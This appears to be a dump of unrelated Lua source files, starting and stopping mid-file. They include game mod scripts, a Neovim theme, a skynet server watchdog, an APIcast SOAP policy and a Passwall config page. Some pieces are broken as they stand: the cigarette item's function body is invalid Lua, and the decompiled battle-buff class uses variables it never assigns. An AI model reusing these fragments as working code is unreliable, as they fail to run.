if (global.ocfg.enable_shared_chat) then
if (event.player_index ~= nil) then
ShareChatBetweenForces(game.players[event.player_index],
event.message)
end
end
end)
script.on_event(defines.events.on_console_command, function(e)
local caller = (e.player_index and game.players[e.player_index]) or console
if caller.admin then
if (e.command == 'kick') or (e.command == 'ban') then
local player = game.players[e.parameters]
end
end
end)
----------------------------------------
-- On Research Finished
-- This is where you can permanently remove researched techs
----------------------------------------
script.on_event(defines.events.on_research_finished, function(event)
-- Never allows players to build rocket-silos in "frontier" mode.
if global.ocfg.frontier_rocket_silo and not global.ocfg.frontier_allow_build then
RemoveRecipe(event.research.force, "rocket-silo")
end
if global.ocfg.lock_goodies_rocket_launch and
(not global.ocore.satellite_sent or
not global.ocore.satellite_sent[event.research.force.name]) then
for _, v in ipairs(LOCKED_RECIPES) do
RemoveRecipe(event.research.force, v.r)
end
end
if global.ocfg.enable_loaders then EnableLoaders(event) end
end)
----------------------------------------
-- On Entity Spawned and On Biter Base Built
-- This is where I modify biter spawning based on location and other factors.
----------------------------------------
script.on_event(defines.events.on_entity_spawned, function(event)
if (global.ocfg.modified_enemy_spawning) then
ModifyEnemySpawnsNearPlayerStartingAreas(event)
end
end)
script.on_event(defines.events.on_biter_base_built, function(event)
if (global.ocfg.modified_enemy_spawning) then
ModifyEnemySpawnsNearPlayerStartingAreas(event)
end
end)
----------------------------------------
-- On unit group finished gathering
-- This is where I remove biter waves on offline players
----------------------------------------
script.on_event(defines.events.on_unit_group_finished_gathering, function(event)
if (global.ocfg.enable_offline_protect) then
OarcModifyEnemyGroup(event.group)
end
end)
----------------------------------------
-- On Corpse Timed Out
-- Save player's stuff so they don't lose it if they can't get to the corpse fast enough.
----------------------------------------
script.on_event(defines.events.on_character_corpse_expired, function(event)
DropGravestoneChestFromCorpse(event.corpse)
deathmarkers.corpseExpired(event)
end)
----------------------------------------
-- On Gui Text Change
-- For capturing text entry.
----------------------------------------
script.on_event(defines.events.on_gui_text_changed,
function(event) NotepadOnGuiTextChange(event) end)
----------------------------------------
-- On Gui Closed
-- For capturing player escaping custom GUI so we can close it using ESC key.
----------------------------------------
script.on_event(defines.events.on_gui_closed, function(event)
OarcGuiOnGuiClosedEvent(event)
if global.ocfg.enable_coin_shop then OarcStoreOnGuiClosedEvent(event) end
WelcomeTextGuiClosedEvent(event)
end)
----------------------------------------
-- On enemies killed
-- For coin generation and stuff
----------------------------------------
script.on_event(defines.events.on_entity_damaged, function(event)
local entity = event.entity
local cause = event.cause
local damage = math.floor(event.original_damage_amount)
local health = math.floor(entity.health)
local health_percentage = entity.get_health_ratio()
local text_color = {r = 1 - health_percentage, g = health_percentage, b = 0}
-- Gets the location of the text
local size = entity.get_radius()
if size < 1 then size = 1 end
local r = (math.random() - 0.5) * size * 0.75
local p = entity.position
local position = {x = p.x + r, y = p.y - size}
local message
if entity.name == 'character' then
message = {'damage-popup.player-health', health}
elseif entity.name ~= 'character' and cause and cause.name == 'character' then
message = {'damage-popup.player-damage', damage}
end
-- Outputs the message as floating text
if message then
tools.floating_text(entity.surface, position, message, text_color)
end
end)
script.on_event(defines.events.on_post_entity_died, function(event)
if (game.surfaces[event.surface_index].name ~= GAME_SURFACE_NAME) then
return
end
if global.ocfg.enable_coin_shop then
CoinsFromEnemiesOnPostEntityDied(event)
end
end, {
{filter = "type", type = "unit"}, {filter = "type", type = "unit-spawner"},
{filter = "type", type = "turret"}
})
----------------------------------------
-- Scripted auto decon for miners...
----------------------------------------
script.on_event(defines.events.on_resource_depleted, function(event)
if global.ocfg.enable_miner_decon then
OarcAutoDeconOnResourceDepleted(event)
end
end)
--------------------------------------------
script.on_event(defines.events.on_market_item_purchased, function(event)
local player = game.players[event.player_index]
local player_market = global.ocore.markets.player_markets[player.name]
local count = event.count
local mults = {10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0.75, 0.5, 0.25}
if player_market.market and player_market.market.valid then
local offers = player_market.market.get_market_items() -- get all offers
local offer = offers[event.offer_index] -- get this offer
if event.offer_index == 13 or event.offer_index == 14 then -- if this offer is in the 'upgrades' section
local price = 0
for _, single_price in pairs(offer.price) do
price = price + single_price.amount
end
if count > 1 then
local refund = 0
refund = price * (count - 1)
player.insert {name = "coin", count = refund}
end
--[[
{
price = {{"coin", 1000}},
offer = {type = "gun-speed", ammo_category = "bullet", modifier = 0.01}
}
]]
for i, item in ipairs(offers) do
if i == event.offer_index then
if i <= 14 then
if i <= 13 then
if i <= 8 then
local stat =
player_market.stats[item.offer.type][item.offer
.ammo_category]
stat.multiplier = stat.multiplier +
item.offer.modifier
stat.lvl = stat.lvl + 1
elseif (i > 8) and (i <= 11) then
local stat =
player_market.stats[item.offer.type][item.offer
.turret_id]
stat.multiplier = stat.multiplier +
item.offer.modifier
stat.lvl = stat.lvl + 1
elseif (i == 12) then
local stat =
player_market.stats["character-health"]
.current
stat.multiplier = stat.multiplier +
item.offer.modifier
player.character_health_bonus =
player.character_health_bonus - item.offer.modifier * (count - 1)
stat.lvl = stat.lvl + 1
elseif (i == 13) then
local stat =
player_market.stats["mining-productivity"]
.current
stat.multiplier = stat.multiplier +
item.offer.modifier
player.force.mining_drill_productivity_bonus = player.force.mining_drill_productivity_bonus - item.offer.modifier * (count - 1)
stat.lvl = stat.lvl + 1
item.price =
market.formatPrice(math.ceil(price * 1.08))
end
else
if global.ocore.done_with_speed[player.name] ~= nil then
return
end
local stat =
player_market.stats["sell-speed"].current
stat.lvl = stat.lvl + 1
stat.multiplier = mults[stat.lvl]
player_market.sell_speed_lvl =
player_market.sell_speed_lvl + 1
player_market.sell_speed_multiplier =
mults[stat.lvl]
item.price =
market.formatPrice(tools.round(price * 1.5))
if player_market.sell_speed_lvl == 13 then
global.ocore.done_with_speed[player.name] = true
item.price = market.formatPrice(MAX_INT32_POS)
end
end
end
end
end
player_market.market.clear_market_items()
for __, item in pairs(offers) do
player_market.market.add_market_item(item)
end
end
end
end)
|
local b16 = require('mini.base16')
require('mini.base16').setup({
palette = {
base00 = '#000000',
base01 = '#242422',
base02 = '#484844',
base03 = '#6c6c66',
base04 = '#918f88',
base05 = '#b5b3aa',
base06 = '#d9d7cc',
base07 = '#fdfbee',
base08 = '#ff6c60',
base09 = '#e9c062',
base0A = '#e2e29c',
base0B = '#a8ff60',
base0C = '#c6c5fe',
base0D = '#96cbfe',
base0E = '#f183ef',
base0F = '#b18a3d',
},
})
vim.cmd([[highlight! link PmenuThumb PmenuSel]])
vim.g.colors_name = 'mini16'
|
--[[
Hunger Johnson: But even making things like cigarettes
Hunger Johnson: I don't knwo if Jovan or Mojo wants cigs
(WBA Inf.) M-Sgt. Trenchman-: Jovan liked the idea
--]]
ITEM.name = "Dutch Cigarettes"
ITEM.model = "models/props_lab/box01a.mdl" -- TO BE DETERMINED
ITEM.category = "Consumables";
ITEM.desc = "A pack of fine dutch cigarettes with ".. self:getData("cigs") .." cigarettes left."
ITEM:setData("cigs", 20 )
ITEM.price = 100
-- Called when a player uses the item.
ITEM.functions.Smoke = {
if ( self:getData("cigs") < 1 ) then
print("Your pack is empty.")
return false
end
local s = EffectData();
s:SetOrigin(player:EyePos());
util.Effect("cw_effect_smoke_cig", s);
local coughrandom = math.random(1,10)
if (coughrandom >= 5) then
local cough = {
"ambient/voices/cough1.wav",
"ambient/voices/cough2.wav",
"ambient/voices/cough3.wav",
"ambient/voices/cough4.wav"
}
player:EmitSound(cough[math.random(1,#cough)], 50, 100)
end;
self:setData("cigs", self:getData("cigs") - 1)
return false;
}
|
local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end
function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end
function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end
local function creatureSayCallback(cid, type, msg)
if not npcHandler:isFocused(cid) then
return false
end
local player = Player(cid)
if msgcontains(msg, 'fugio') then
if player:getStorageValue(Storage.WhiteRavenMonasteryQuest.Diary) == -1 then
npcHandler:say('To be honest, I fear the omen in my dreams may be true. Perhaps Fugio is unable to see the danger down there. Perhaps ... you are willing to investigate this matter?', cid)
npcHandler.topic[cid] = 1
end
elseif msgcontains(msg, 'diary') then
if player:getStorageValue(Storage.WhiteRavenMonasteryQuest.Diary) == 1 then
npcHandler:say('Do you want me to inspect a diary?', cid)
npcHandler.topic[cid] = 2
end
elseif msgcontains(msg, 'holy water') then
local cStorage = player:getStorageValue(Storage.TibiaTales.RestInHallowedGround.Questline)
if cStorage == 1 then
npcHandler:say('Who are you to demand holy water from the White Raven Monastery? Who sent you??', cid)
npcHandler.topic[cid] = 3
elseif cStorage == 2 then
npcHandler:say('I already filled your vial with holy water.', cid)
end
elseif msgcontains(msg, 'amanda') and npcHandler.topic[cid] == 0 then
if player:getStorageValue(Storage.TibiaTales.RestInHallowedGround.Questline) == 1 then
npcHandler:say('Ahh, Amanda from Edron sent you! I hope she\'s doing well. So why did she send you here?', cid)
end
elseif msgcontains(msg, 'yes') then
if npcHandler.topic[cid] == 1 then
npcHandler:say('Thank you very much! From now on you may open the warded doors to the catacombs.', cid)
player:setStorageValue(Storage.WhiteRavenMonasteryQuest.Diary, 1)
elseif npcHandler.topic[cid] == 2 then
if not player:removeItem(2325, 1) then
npcHandler:say('Uhm, as you wish.', cid)
return true
end
npcHandler:say('By the gods! This is brother Fugio\'s handwriting and what I read is horrible indeed! You have done our order a great favour by giving this diary to me! Take this blessed Ankh. May it protect you in even your darkest hours.', cid)
player:addItem(2327, 1)
player:setStorageValue(Storage.WhiteRavenMonasteryQuest.Diary, 2)
end
elseif npcHandler.topic[cid] == 3 then
if not msgcontains(msg, 'amanda') then
npcHandler:say('I never heard that name and you won\'t get holy water for some stranger.', cid)
npcHandler.topic[cid] = 0
return true
end
player:addItem(7494, 1)
player:setStorageValue(Storage.TibiaTales.RestInHallowedGround.Questline, 2)
npcHandler:say('Ohh, why didn\'t you tell me before? Sure you get some holy water if it\'s for Amanda! Here you are.', cid)
npcHandler.topic[cid] = 0
elseif msgcontains(msg, 'no') and isInArray({1, 2}, npcHandler.topic[cid]) then
npcHandler:say('Uhm, as you wish.', cid)
npcHandler.topic[cid] = 0
end
return true
end
npcHandler:setMessage(MESSAGE_GREET, "Welcome, |PLAYERNAME|! Feel free to tell me what has brought you here.")
npcHandler:setMessage(MESSAGE_FAREWELL, "Good bye. Come back soon.")
npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
npcHandler:addModule(FocusModule:new())
|
ys = ys or {}
slot1 = ys.Battle.BattleBuffEvent
slot2 = ys.Battle.BattleConst.BuffEffectType
slot3 = class("BattleFleetBuffUnit")
ys.Battle.BattleFleetBuffUnit = slot3
slot3.__name = "BattleFleetBuffUnit"
slot3.Ctor = function (slot0, slot1, slot2)
slot0._id = slot1
slot0._tempData = slot0.Battle.BattleDataFunction.GetBuffTemplate(slot1, slot2 or 1)
slot0._time = slot0._tempData.time
slot0._RemoveTime = 0
slot0._effectList = {}
slot0._triggerSearchTable = {}
slot0._level = slot2 or 1
for slot6, slot7 in ipairs(slot0._tempData.effect_list) do
slot0._effectList[slot6] = slot0.Battle[slot7.type].New(slot7)
for slot13, slot14 in ipairs(slot9) do
if slot0._triggerSearchTable[slot14] == nil then
slot0._triggerSearchTable[slot14] = {}
end
slot15[#slot15 + 1] = slot8
end
end
slot0:SetActive()
end
slot3.SetArgs = function (slot0, slot1)
slot0._host = slot1
for slot5, slot6 in ipairs(slot0._effectList) do
slot6:SetArgs(slot1, slot0)
end
end
slot3.setRemoveTime = function (slot0)
slot0._RemoveTime = pg.TimeMgr.GetInstance():GetCombatTime() + slot0._time
slot0._cancelTime = nil
end
slot3.Attach = function (slot0, slot1)
slot0._stack = 1
slot0:SetArgs(slot1)
slot0:onTrigger(slot0.ON_ATTACH, slot1)
slot0:setRemoveTime()
end
slot3.Stack = function (slot0, slot1)
slot0._stack = math.min(slot0._stack + 1, slot0._tempData.stack)
slot0:onTrigger(slot0.ON_STACK, slot1)
slot0:setRemoveTime()
end
slot3.UpdateStack = function (slot0, slot1, slot2)
return
end
slot3.Remove = function (slot0)
slot0:onTrigger(slot0.ON_REMOVE, slot0._host)
slot0._host:GetFleetBuffList()[slot0._id] = nil
slot0:Clear()
end
slot3.Update = function (slot0, slot1, slot2)
if slot0:IsTimeToRemove(slot2) then
slot0:Remove()
else
slot0:onTrigger(slot0.ON_UPDATE, slot1, slot2)
end
end
slot3.onTrigger = function (slot0, slot1, slot2, slot3)
if slot0._triggerSearchTable[slot1] == nil or #slot4 == 0 then
return
end
for slot8, slot9 in ipairs(slot4) do
if slot9:IsActive() then
slot9:NotActive()
slot9:Trigger(slot1, slot2, slot0, slot3)
slot9:SetActive()
end
end
end
slot3.IsTimeToRemove = function (slot0, slot1)
if slot0._time == 0 then
return false
else
return slot0._RemoveTime <= slot1
end
end
slot3.IsActive = function (slot0)
return slot0._isActive
end
slot3.SetActive = function (slot0)
slot0._isActive = true
end
slot3.NotActive = function (slot0)
slot0._isActive = false
end
slot3.GetCaster = function (slot0)
return nil
end
slot3.GetID = function (slot0)
return slot0._id
end
slot3.GetLv = function (slot0)
return 1
end
slot3.Clear = function (slot0)
slot0._host = nil
for slot4, slot5 in ipairs(slot0._effectList) do
slot5:Clear()
end
end
return
|
function update(...)
--[[sb.logInfo("updating")
for k, v in pairs {...} do
sb.logInfo(string.format("key \"%s\" of type %s", k, type(v)))
end]]
end
function init()
--[[for k,v in pairs(mcontroller) do
sb.logInfo("mcontroller." .. k)
end]]
end
--setmetatable(_ENV, {__index = function(_, n) sb.logInfo("unknown func " .. n) end})
|
function onCreate()
--Iterate over all notes
for i = 0, getProperty('unspawnNotes.length')-1 do
if getPropertyFromGroup('unspawnNotes', i, 'noteType') == 'smiler_notesdrain' then --Check if the note on the chart is a Bullet Note
setPropertyFromGroup('unspawnNotes', i, 'texture', 'smiler_notes'); --Change texture
setPropertyFromGroup('unspawnNotes', i, 'noteSplashHue', 0);
setPropertyFromGroup('unspawnNotes', i, 'noteSplashSat', -20);
setPropertyFromGroup('unspawnNotes', i, 'noteSplashBrt', 1);
if getPropertyFromGroup('unspawnNotes', i, 'mustPress') then --Doesn't let Dad/Opponent notes get ignored
setPropertyFromGroup('unspawnNotes', i, 'ignoreNote', true); --Miss has penalties
end
end
end
end
local healthDrain = 0;
function opponentNoteHit(id, noteData, noteType, isSustainNote)
if noteType == 'smiler_notesdrain' then
healthDrain = healthDrain + 0.43;
end
end
function onUpdate(elapsed)
if healthDrain > 0 then
healthDrain = healthDrain - 0.29 * elapsed;
setProperty('health', getProperty('health') - 0.29 * elapsed);
if healthDrain < 0.1 then
healthDrain = 0;
end
end
end
|
local skynet = require "skynet"
local netpack = require "skynet.websocketnetpack"
local socket = require "skynet.socket"
local cluster = require "skynet.cluster"
local servicepool = require "servicepool"
local mc = require "skynet.multicast"
local dc = require "skynet.datacenter"
require "skynet.manager"
local CMD = {}
local SOCKET = {}
local gate
local agents = {} ---当前在使用中的agent key为socket value:agent
local agentPool ---用户agent 协程池
local channels = {} ---multicast
function SOCKET.open(fd, addr)
local agent = agentPool.getservice("agent")
local channel = channels["MCBROADCAST"]
skynet.send(agent, "lua", "start", { gate = gate, client = fd, watchdog = skynet.self(), channel = channel.channel})
agents[fd] = agent
end
-- 广播本connector的消息
function CMD.broadcast(msg)
-- print('CMD.broadcast', msg)
local channel = channels["MCBROADCAST"]
channel:publish(msg)
end
local function close_agent(fd)
local a = agents[fd]
agents[fd] = nil
if a then
skynet.call(gate, "lua", "kick", fd)
-- disconnect never return
skynet.send(a, "lua", "disconnect")
end
agentPool.recycleservice(a)
end
function SOCKET.close(fd)
skynet.error("socket close", fd)
close_agent(fd)
end
function SOCKET.error(fd, msg)
skynet.error("socket error", fd, msg)
close_agent(fd)
end
function SOCKET.warning(fd, size)
-- size K bytes havn't send out in fd
skynet.error("socket warning", fd, size)
end
function SOCKET.data(fd, msg)
skynet.error("i am wswatchdog.... data")
end
-- 启动的时候,由wsmain 调用
function CMD.start(conf)
skynet.call(gate, "lua", "open", conf)
agentPool = servicepool.new("agent", 512)
local channel = mc.new()
channels["MCBROADCAST"] = channel
end
skynet.start(function()
-- init agent pool
skynet.dispatch("lua", function(session, source, cmd, subcmd, ...)
if cmd == "socket" then
local f = SOCKET[subcmd]
f(...)
else
local f = assert(CMD[cmd])
skynet.ret(skynet.pack(f(subcmd, ...)))
end
end)
-- 获取cluster的节点名称
local clusterNodeName = assert(skynet.getenv('clusterNodeName'))
local service = "." .. clusterNodeName .. "Service"
-- print('clusterNodeName', clusterNodeName, "Service", service)
cluster.open(clusterNodeName)
skynet.register(service)
gate = skynet.newservice("wsgate")
end)
|
--[[
Mail Baby API
This is an API defintion for accesssing the Mail.Baby mail service.
The version of the OpenAPI document: 1.0.0
Contact: detain@interserver.net
Generated by: https://openapi-generator.tech
]]
-- error_response class
local error_response = {}
local error_response_mt = {
__name = "error_response";
__index = error_response;
}
local function cast_error_response(t)
return setmetatable(t, error_response_mt)
end
local function new_error_response(code, message)
return cast_error_response({
["code"] = code;
["message"] = message;
})
end
return {
cast = cast_error_response;
new = new_error_response;
}
|
fprp.openHitMenu = fprp.stub{
name = "openHitMenu",
description = "Open the menu that requests a hit.",
parameters = {
{
name = "hitman",
description = "The hitman to request the hit to.",
type = "Player",
optional = false
}
},
returns = {
},
metatable = fprp
}
fprp.PLAYER.drawHitInfo = fprp.stub{
name = "drawHitInfo",
description = "Start drawing the hit information above a hitman.",
parameters = {
},
returns = {
},
metatable = fprp.PLAYER
}
fprp.PLAYER.stopHitInfo = fprp.stub{
name = "stopHitInfo",
description = "Stop drawing the hit information above a hitman.",
parameters = {
},
returns = {
},
metatable = fprp.PLAYER
}
|
local tiny = require "lib/tiny"
local Timer = require "lib/hump/timer"
local entity = {}
entity.box2d_world = require "engine/entity/physics/box2d_world"
-- Tiled map
entity.map = require "engine/entity/map/tiled_map"
local component = {}
local system = {}
-- Box2D system
system.box2d_world = require "engine/system/physics/box2d_world"
system.box2d_colliders = require "engine/system/collision/box2d_colliders"
-- Debug systems
system.debug = {}
system.debug.draw = {}
system.debug.draw.box2d_world = require "engine/system/physics/debug/box2d_world"
local game = {
fullscreen = false,
vsync = true,
msaa = 0
}
function love.load()
love.graphics.setDefaultFilter("nearest", "nearest")
love.window.setMode(800, 600, game)
love.window.setTitle("ECS Game Engine")
local meter = 16
love.physics.setMeter(meter)
local test_entities = {}
table.insert(test_entities, entity.box2d_world(0, 9.8 * meter))
table.insert(test_entities, {
x = 10,
y = 10,
width = 100,
height = 100,
collision = {
shape = "rectangle"
}
})
table.insert(test_entities, {
collision = {
static = true,
shape = "polygon",
points = {150, 100, 200, 50, 250, 150}
}
})
game.world = tiny.world(
system.box2d_world.init,
system.box2d_colliders.init,
system.box2d_colliders.update,
system.debug.draw.box2d_world,
unpack(test_entities)
)
game.world:update(0)
end
function love.update(dt)
Timer.update(dt)
game.world:update(dt)
end
function love.draw()
local dt = love.timer.getDelta()
system.debug.draw.box2d_world:update(dt)
end
|
--
local M = {}
local dir = cc.Director:getInstance()
local _running
local listeners = {}
local function process()
if not _running then
return
end
local cam = cc.Camera:getVisitingCamera() or dir:getRunningScene():getDefaultCamera()
if not cam then
return
end
local xx, yy = lstg.GetMousePosition()
local p = cc.p(xx, yy)
---@param k ccui.Widget
for k, v in pairs(listeners) do
if k:hitTest(p, cam) then
if v[1] then
v[1]()
end
else
if v[2] then
v[2]()
end
end
end
end
---@param attachNode cc.Node
function M.start(attachNode)
attachNode:scheduleUpdateWithPriorityLua(function()
process()
end, 1)
_running = true
end
function M.stop(attachNode)
if attachNode then
attachNode:unscheduleUpdate()
end
listeners = {}
_running = false
end
function M.pause()
_running = false
end
function M.resume()
_running = true
end
function M.clear()
listeners = {}
end
function M.addListener(widget, onHover, onUnhover)
listeners[widget] = { onHover, onUnhover }
end
function M.removeListener(widget)
listeners[widget] = nil
end
---@param widget ccui.Widget
function M.register(widget, onHover, onUnhover)
widget:onNodeEvent('enter', function()
M.addListener(widget, onHover, onUnhover)
end)
widget:onNodeEvent('exit', function()
M.removeListener(widget)
end)
end
return M
|
-- baseclass for game sprites
local SpriteObj = {
x = 0, y = 0,
w = 16, h = 16,
vx = 0, vy = 0,
img = 'default',
name = 'test object',
}
SpriteObj.__index = SpriteObj
--[[
sets and attaches all key-value pairs from the table [options]
to the new object. options *can* be empty but should probably
include at least img and type overrides
--]]
function SpriteObj:new(options)
return setmetatable(options, self)
end
return SpriteObj
|
local Class = require("lib.class")
local StateMachine = require("lib.state_machine")
local Anim = require("lib.animations")
local Sprite = require("lib.sprite")
local Rect = require("lib.rect")
local B = Class:derive("bear")
local bear
local idle = Anim(0,0,209,108,8,8,16)
local attack = Anim(0,108,209,108,8,8,20)
local sleep = Anim(0,216,209,108,6,6,12)
-- w=208
-- h=108
function B:new()
if bear == nil then
bear = love.graphics.newImage("Sprite/bear.png")
end
self.spr = Sprite(bear,208,108,100,430,1.2,1.2)
self.spr:add_animations({idle = idle, attack = attack,sleep = sleep})
self.spr:animation("idle")
self.vx = 1
self.anim_sm = StateMachine(self, "idle")
self.vel = 170
end
function B:idle_enter(dt)
self.spr:animation("run")
end
function B:attack_enter(dt)
self.spr:animation("attack")
end
function B:sleep_enter(dt)
self.spr:animation("sleep")
end
function B:rect_(x_,y_,w_,h_)
return Rect.create_centered(self.spr.pos.x+x_,self.spr.pos.y+y_,(self.spr.w+w_)*self.spr.scale.x,(self.spr.h+h_)*self.spr.scale.y)
end
function B:update(dt)
self.anim_sm:update(dt)
self.spr:update(dt)
--[[if self.spr.pos.x >= (love.graphics.getWidth())*3 then
self.spr:flip_h(true)
self.vx = -1
elseif self.spr.pos.x < 0 then
self.spr:flip_h(false)
self.vx = 1
end]]--
self.spr.pos.x = self.spr.pos.x + self.vx * self.vel * dt
end
function B:draw()
--local r1= self:rect_(0,0,250,10)
--love.graphics.rectangle("line",r1.x,r1.y,r1.w,r1.h)
self.spr:draw()
end
return B
|
--[[ Copyright 2019 The Spin-Scenario Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================-]]
-- example: gradient pulses.
peak_grad{40} -- T/m
slew_rate{200} -- T/m/s
local grad = exprGrad{axis ='Y', expr ='Sin(t*7)', width =2}
write("grad.txt", grad)
plot(grad)
os.exit()
local g1 = trapGrad{axis ='x', width = 2, area = 70}
local g2 = trapGrad{axis ='z', width = 2, amp = 35}
local g3 = trapGrad{axis ='x', flat_time = 5, amp = 40}
local g4 = trapGrad{axis ='y', flat_time = 5, flat_area = 150}
plot(g1, g2, g3, g4)
seq_parm{fov = '100*100', matrix = '32*32'}
local gy =trapGrad{axis ="Z", func ="phase_encode", width = 0.5}
plot(gy)
--local grad = exprGrad{axis ='Y', expr ='Sin(t*7)', width =2}
|
--- SOAP Policy
-- This policy adds support for a very small subset of SOAP.
-- This policy basically expects a SOAPAction URI in the SOAPAction header or
-- the content-type header.
-- The SOAPAction header is used in v1.1 of the SOAP standard:
-- https://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528, whereas the
-- Content-Type header is used in v1.2 of the SOAP standard:
-- https://www.w3.org/TR/soap12-part2/#ActionFeature
-- The SOAPAction URI is matched against the mapping rules defined in the
-- policy and calculates a usage based on that so it can be authorized and
-- reported against 3scale's backend.
local ipairs = ipairs
local insert = table.insert
local MappingRule = require('apicast.mapping_rule')
local Usage = require('apicast.usage')
local mapping_rules_matcher = require('apicast.mapping_rules_matcher')
local MimeType = require('resty.mime')
local resty_url = require 'resty.url'
local policy = require('apicast.policy')
local _M = policy.new('SOAP policy')
local soap_action_header = 'SOAPAction'
local soap_action_ctype = 'application/soap+xml'
local new = _M.new
-- Extracts a SOAP action from the SOAPAction header. Returns nil when not
-- present.
local function soap_action_in_header(headers)
return headers[soap_action_header]
end
-- Extracts a SOAP action from the Content-Type header. In SOAP, the
-- type/subtype is application/soap+xml, and the action is specified as a
-- param in that header. When there is no SOAP action, this method returns nil.
local function soap_action_in_ctype(headers)
local mime_type = MimeType.new(headers['Content-Type'])
if mime_type.media_type == soap_action_ctype then
return mime_type:parameter('action')
else
return nil
end
end
-- Extracts a SOAP action URI from the SOAP Action and the Content-Type
-- headers. When both contain a SOAP action, the Content-Type one takes
-- precedence.
local function extract_soap_uri()
local headers = ngx.req.get_headers() or {}
return soap_action_in_ctype(headers) or soap_action_in_header(headers)
end
local function usage_from_matching_rules(soap_action_uri, rules)
return mapping_rules_matcher.get_usage_from_matches(
nil, soap_action_uri, {}, rules)
end
local function mapping_rules_from_config(config)
if not (config and config.mapping_rules) then return {} end
local res = {}
for _, config_rule in ipairs(config.mapping_rules) do
local rule = MappingRule.from_proxy_rule(config_rule)
insert(res, rule)
end
return res
end
--- Initialize a SOAP policy
-- @tparam[opt] table config Configuration
function _M.new(config)
local self = new(config)
self.mapping_rules = mapping_rules_from_config(config)
return self
end
--- Rewrite phase
-- When a SOAP Action is received via the SOAPAction or the Content-Type
-- headers, the policy matches it against the mapping rules defined in the
-- configuration of the policy and calculates the associated usage.
-- This usage is merged with the one received in the shared context.
-- @tparam table context Shared context between policies
function _M:rewrite(context)
local soap_action_uri = extract_soap_uri()
-- If the soap_action_uri is a complete url, the mapping rule is only the
-- path, so parse to send only the path.
local url, err = resty_url.parse(soap_action_uri)
if not err then
soap_action_uri = url.path
end
if soap_action_uri then
local soap_usage = usage_from_matching_rules(
soap_action_uri, self.mapping_rules)
context.usage = context.usage or Usage.new()
context.usage:merge(soap_usage)
end
end
return _M
|
local gl = require 'gl'
local v2 = require 'dokidoki.v2'
assert(player, 'missing player argument')
picked = false
local OFFSET_PIXELS = -4
local SEGMENTS = 16
local RADIUS = 32
local fade = 0.2
local pulse_time = 0
callback = callback or function () end
self.sprite.image = assert(game.resources.factory_sprites[player])
function update()
pulse_time = pulse_time + 1
if not picked and game.the_one_button.held(player) then
picked = true
callback()
end
if picked then
fade = math.min(fade + 0.1, 1)
self.sprite.color = {fade, fade, fade}
end
end
function draw()
local pos = self.transform.pos + OFFSET_PIXELS * self.transform.facing
local pulse = (1 + math.cos(pulse_time/180*2*math.pi))/2
local color = fade * pulse + 1 * (1-pulse)
gl.glPushMatrix()
gl.glTranslated(pos.x, pos.y, 0)
-- dark section
gl.glBegin(gl.GL_TRIANGLE_FAN)
gl.glColor4d(0, 0, 0, 0.6)
gl.glVertex2d(0, 0)
for point = 0,SEGMENTS do
local vert = v2.unit(math.pi/2 - point / SEGMENTS * math.pi * 2) * RADIUS
gl.glVertex2d(vert.x, vert.y)
end
gl.glVertex2d(0, 0)
gl.glEnd()
-- light section
if picked then
gl.glBegin(gl.GL_TRIANGLE_FAN)
local bottom_highlight_angle = player * math.pi / 2 - math.pi
gl.glColor4d(0.5, 1, 1, 0.7)
gl.glVertex2d(0, 0)
for point = 0,SEGMENTS do
gl.glVertex2d(math.sin(point / SEGMENTS * math.pi * 0.5 + bottom_highlight_angle) * RADIUS, math.cos(point / SEGMENTS * math.pi * 0.5 + bottom_highlight_angle) * RADIUS)
end
gl.glEnd()
end
gl.glColor3d(color, color, color)
game.resources.a_button:draw()
gl.glColor3d(1, 1, 1)
gl.glPopMatrix()
end
|
local uci = require"luci.model.uci".cursor()
local api = require "luci.model.cbi.passwall.api.api"
local appname = "passwall"
local n = {}
uci:foreach(appname, "nodes", function(e)
if e.type and e.remarks and e.address and e.port then
if (e.type == "V2ray_balancing" or e.type == "V2ray_shunt") or (e.address:match("[\u4e00-\u9fa5]") and e.address:find("%.") and e.address:sub(#e.address) ~= ".") then
n[e[".name"]] = "%s:[%s] %s:%s" % {e.type, e.remarks, e.address, e.port}
end
end
end)
local key_table = {}
for key, _ in pairs(n) do table.insert(key_table, key) end
table.sort(key_table)
m = Map(appname)
-- [[ Auto Switch Settings ]]--
s = m:section(TypedSection, "auto_switch", translate("Auto Switch"))
s.anonymous = true
---- Enable
o = s:option(Flag, "enable", translate("Enable"))
o.default = 0
o.rmempty = false
---- Testing Time
o = s:option(Value, "testing_time", translate("How often is a diagnosis made"),
translate("Units:minutes"))
o.default = "3"
---- TCP Node
-- local tcp_node_num = tonumber(api.uci_get_type("global_other", "tcp_node_num", 1))
-- 暂时只支持TCP1
local tcp_node_num = 1
for i = 1, tcp_node_num, 1 do
o = s:option(DynamicList, "tcp_node" .. i,
"TCP " .. i .. " " .. translate("List of backup nodes"),
translate(
"List of backup nodes, the first of which must be the primary node and the others the standby node."))
for _, key in pairs(key_table) do o:value(key, n[key]) end
end
return m
|
local state = {}
state._NAME = ...
local Body = require'Body'
local t_entry, t_update, t_exit
local motion_inited
function state.entry()
print(state._NAME..' Entry' )
local t_entry_prev = t_entry -- When entry was previously called
t_entry = Body.get_time()
t_update = t_entry
motion_inited=false
end
function state.update()
-- print(state._NAME..' Update' )
-- Get the time of update
if not motion_inited then
-- motion_ch:send'init' --let motion state moving
-- if head_ch then head_ch:send'init' end
motion_inited=true
end
local t = Body.get_time()
local dt = t - t_update -- Save this at the last update time
t_update = t
if t-t_entry>1.0 then return "done" end
end
function state.exit()
print(state._NAME..' Exit' )
t_exit = Body.get_time()
end
return state
|
local render = function(self) end
return function(looky)
return {
build = function(options)
local base = looky:makeBaseLayout(options)
base.renderCustom = render
base.contentWidth = function(self)
return self.width
end
base.contentHeight = function(self)
